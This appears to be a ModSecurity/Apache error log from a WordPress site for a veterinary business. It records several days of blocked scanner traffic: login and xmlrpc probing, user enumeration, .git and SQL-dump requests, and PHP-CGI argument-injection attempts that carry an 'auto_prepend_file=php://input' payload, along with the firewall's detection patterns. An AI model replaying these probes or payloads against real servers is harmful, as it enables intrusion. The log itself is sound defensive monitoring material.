[Wed Dec 03 14:15:58.948486 2025] [:error] [pid 20607:tid 20632] [client 101.160.46.242:61895] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about-us"] [unique_id "aS_VnvpiIcI2BRWBwqwm7AAAAFY"]
[Wed Dec 03 14:15:59.090272 2025] [:error] [pid 20669:tid 20677] [client 101.160.46.242:61897] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/services"] [unique_id "aS_Vn5LWoJXGOhmabmskUAAAAUE"]
[Wed Dec 03 14:15:59.225016 2025] [:error] [pid 20608:tid 20646] [client 101.160.46.242:61904] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mobile-vet"] [unique_id "aS_Vn05WGptz5j0ZvYc_wgAAAIk"]
[Wed Dec 03 14:15:59.369866 2025] [:error] [pid 20669:tid 20682] [client 101.160.46.242:61907] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/house-calls"] [unique_id "aS_Vn5LWoJXGOhmabmskUwAAAUY"]
[Wed Dec 03 14:15:59.521946 2025] [:error] [pid 20669:tid 20679] [client 101.160.46.242:61910] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/home-visits"] [unique_id "aS_Vn5LWoJXGOhmabmskVAAAAUM"]
[Wed Dec 03 14:15:59.668689 2025] [:error] [pid 20607:tid 20618] [client 101.160.46.242:61915] [client 101.160.46.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aS_Vn_piIcI2BRWBwqwm7QAAAEg"]
[Wed Dec 03 14:22:46.535296 2025] [:error] [pid 32437:tid 32455] [client 104.248.9.214:65066] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_XNqBId4T5gQoDbCENqgAAAA8"]
[Wed Dec 03 14:37:11.519655 2025] [:error] [pid 20608:tid 20645] [client 104.248.9.214:52943] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_al05WGptz5j0ZvYdFAgAAAIg"]
[Wed Dec 03 18:48:15.703041 2025] [:error] [pid 20669:tid 20683] [client 216.118.251.162:58690] [client 216.118.251.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tools/upload_ajax.ashx"] [unique_id "aTAVb5LWoJXGOhmabmuThAAAAUc"]
[Wed Dec 03 18:48:15.704037 2025] [:error] [pid 20669:tid 20697] [client 216.118.251.162:58684] [client 216.118.251.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Adminbeat/login.asp"] [unique_id "aTAVb5LWoJXGOhmabmuThQAAAVU"]
[Wed Dec 03 19:34:05.575119 2025] [:error] [pid 32437:tid 32463] [client 111.68.6.102:51426] [client 111.68.6.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 111.68.6.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTAgLaBId4T5gQoDbCFdQgAAABc"]
[Wed Dec 03 22:44:56.929762 2025] [:error] [pid 20707:tid 20726] [client 34.38.13.125:54950] [client 34.38.13.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.38.13.125, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTBM6DObjEHgU5ngsxcLxQAAARE"]
[Wed Dec 03 22:45:00.554962 2025] [:error] [pid 20707:tid 20721] [client 34.38.13.125:54950] [client 34.38.13.125] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTBM7DObjEHgU5ngsxcLzQAAAQw"]
[Thu Dec 04 01:23:16.656042 2025] [:error] [pid 63344:tid 63350] [client 203.33.203.148:51435] [client 203.33.203.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTByBLFn6Z8FbZz0IjlXCQAAAAE"]
[Thu Dec 04 01:29:53.016714 2025] [:error] [pid 3842:tid 3908] [client 51.68.186.52:61403] [client 51.68.186.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aTBzkSaILLkuuVMSmjsL2AAAAYU"]
[Thu Dec 04 02:58:06.312630 2025] [autoindex:error] [pid 3840:tid 3861] [client 143.110.180.207:54852] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Dec 04 05:00:42.310751 2025] [:error] [pid 38403:tid 38418] [client 136.115.136.132:53305] [client 136.115.136.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.136.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTCk-gBCL4g8TXcskwnPjwAAAQo"]
[Thu Dec 04 05:00:45.457754 2025] [:error] [pid 38403:tid 38429] [client 136.115.136.132:53305] [client 136.115.136.132] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTCk_QBCL4g8TXcskwnPlAAAARU"]
[Thu Dec 04 05:00:48.348916 2025] [:error] [pid 38403:tid 38416] [client 136.115.136.132:53305] [client 136.115.136.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.136.132, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTClAABCL4g8TXcskwnPlwAAAQg"]
[Thu Dec 04 05:55:51.209985 2025] [:error] [pid 38403:tid 38418] [client 103.163.208.141:50291] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.vetstars.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.vetstars.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCx5wBCL4g8TXcskwnvkQAAAQo"]
[Thu Dec 04 05:56:17.153358 2025] [:error] [pid 38403:tid 38408] [client 103.163.208.141:53896] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.vetstars.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.vetstars.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCyAQBCL4g8TXcskwnv6gAAAQE"]
[Thu Dec 04 05:56:47.046239 2025] [:error] [pid 2159:tid 2174] [client 103.163.208.141:57998] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.vetstars.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.vetstars.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCyHz3GVdXg3ORUAG2iAQAAAAs"]
[Thu Dec 04 07:13:46.559049 2025] [:error] [pid 63383:tid 63436] [client 206.189.154.240:62906] [client 206.189.154.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.154.240, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTDEKlJYyG_QEWdAPIWxdgAAAtM"]
[Thu Dec 04 07:45:50.717315 2025] [:error] [pid 38403:tid 38426] [client 180.102.134.69:40712] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTDLrgBCL4g8TXcskwkfSgAAARI"]
[Thu Dec 04 12:20:13.353657 2025] [proxy_fcgi:error] [pid 38403:tid 38407] [client 103.4.122.14:45834] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query insert into wp_wfstatus (ctime, level, type, msg) values ('1764822003.831905', 2, 'info', 'Scanned contents of 2696 additional files at 6.95 per second') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceScanner->writeScanningStatus, wordfence::status, wfLog->addStatus, wfDB->queryWrite'
[Thu Dec 04 13:03:35.068327 2025] [:error] [pid 38403:tid 38412] [client 66.85.173.57:51807] [client 66.85.173.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "aTEWJwBCL4g8TXcskwmyMAAAAQQ"]
[Thu Dec 04 20:33:53.110864 2025] [:error] [pid 63322:tid 63354] [client 101.32.52.164:41708] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTF_sYvm-cfAnelmlGcBjQAAAcM"]
[Thu Dec 04 21:22:53.918770 2025] [:error] [pid 2244:tid 2262] [client 35.186.163.203:58663] [client 35.186.163.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.186.163.203, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGLLZm00CCLpKa0F71s4gAAANA"]
[Thu Dec 04 21:22:57.187175 2025] [:error] [pid 2244:tid 2266] [client 35.186.163.203:58663] [client 35.186.163.203] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTGLMZm00CCLpKa0F71s5gAAANM"]
[Thu Dec 04 21:22:59.428874 2025] [:error] [pid 2244:tid 2259] [client 35.186.163.203:58663] [client 35.186.163.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.186.163.203, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGLM5m00CCLpKa0F71s6wAAAM0"]
[Thu Dec 04 21:37:42.596881 2025] [:error] [pid 38403:tid 38431] [client 34.23.255.34:49974] [client 34.23.255.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.255.34, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGOpgBCL4g8TXcskwk0IgAAARc"]
[Thu Dec 04 21:37:45.327371 2025] [:error] [pid 38403:tid 38408] [client 34.23.255.34:49974] [client 34.23.255.34] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTGOqQBCL4g8TXcskwk0KAAAAQE"]
[Thu Dec 04 21:37:47.630623 2025] [:error] [pid 38403:tid 38419] [client 34.23.255.34:49974] [client 34.23.255.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.255.34, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGOqwBCL4g8TXcskwk0KgAAAQs"]
[Thu Dec 04 22:43:41.295302 2025] [:error] [pid 2161:tid 2228] [client 35.227.26.91:54103] [client 35.227.26.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.227.26.91, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGeHSjiGdnP9Am2woVTeAAAAIs"]
[Thu Dec 04 22:43:44.248211 2025] [:error] [pid 2161:tid 2240] [client 35.227.26.91:54103] [client 35.227.26.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTGeICjiGdnP9Am2woVTewAAAJc"]
[Thu Dec 04 22:43:46.542170 2025] [:error] [pid 2161:tid 2219] [client 35.227.26.91:54103] [client 35.227.26.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.227.26.91, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTGeIijiGdnP9Am2woVTfQAAAII"]
[Fri Dec 05 00:56:23.027766 2025] [:error] [pid 4490:tid 4512] [client 159.223.88.43:61368] [client 159.223.88.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.88.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTG9N2RzE1f_JiXqDpzFGQAAAJI"]
[Fri Dec 05 03:40:01.505545 2025] [:error] [pid 33617:tid 33639] [client 34.134.25.156:50198] [client 34.134.25.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.25.156, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTHjkefGr9dD2tvJx9eF9gAAAZQ"]
[Fri Dec 05 03:40:05.496111 2025] [:error] [pid 33617:tid 33622] [client 34.134.25.156:50198] [client 34.134.25.156] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTHjlefGr9dD2tvJx9eGDQAAAYM"]
[Fri Dec 05 03:40:08.120005 2025] [:error] [pid 33617:tid 33635] [client 34.134.25.156:50198] [client 34.134.25.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.25.156, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTHjmOfGr9dD2tvJx9eGGQAAAZA"]
[Fri Dec 05 05:09:42.398030 2025] [:error] [pid 24010:tid 24022] [client 180.110.203.108:36061] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTH4lqtjRoDpxa46mwf72gAAAQo"]
[Fri Dec 05 05:12:29.151884 2025] [:error] [pid 53838:tid 53871] [client 49.51.243.95:51596] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTH5PZ8M7CH_vMhLrzLnewAAAEI"]
[Fri Dec 05 05:28:25.846608 2025] [:error] [pid 53923:tid 53926] [client 34.217.51.117:36158] [client 34.217.51.117] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/"] [unique_id "aTH8-bl8ebZN0VCAVXDlZQAAAME"]
[Fri Dec 05 05:28:26.572461 2025] [:error] [pid 53838:tid 53886] [client 34.217.51.117:36166] [client 34.217.51.117] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTH8-p8M7CH_vMhLrzLuoQAAAFE"]
[Fri Dec 05 08:32:53.270961 2025] [:error] [pid 53839:tid 53898] [client 103.70.82.80:62287] [client 103.70.82.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.82.80, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTIoNaQOuERg_RN7bn_KKgAAAII"], referer: https://vetstars.com.au/
[Fri Dec 05 12:05:49.860944 2025] [:error] [pid 62720:tid 62741] [client 192.144.148.122:53926] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTJaHWDTJuF6xQ5UsIOedAAAAZM"]
[Fri Dec 05 12:56:30.342074 2025] [:error] [pid 53837:tid 53857] [client 104.244.73.136:34106] [client 104.244.73.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.244.73.136, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTJl_jbsUyTxys8OiMK2vwAAAA8"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Fri Dec 05 15:14:24.380676 2025] [:error] [pid 35173:tid 35190] [client 45.154.98.33:56018] [client 45.154.98.33] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/daily.sql"] [unique_id "aTKGUDLwYloPE6LF3uC2XgAAAU4"]
[Fri Dec 05 15:14:25.547984 2025] [:error] [pid 35173:tid 35186] [client 185.220.101.143:37601] [client 185.220.101.143] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/tstars.sql"] [unique_id "aTKGUTLwYloPE6LF3uC2YQAAAUo"]
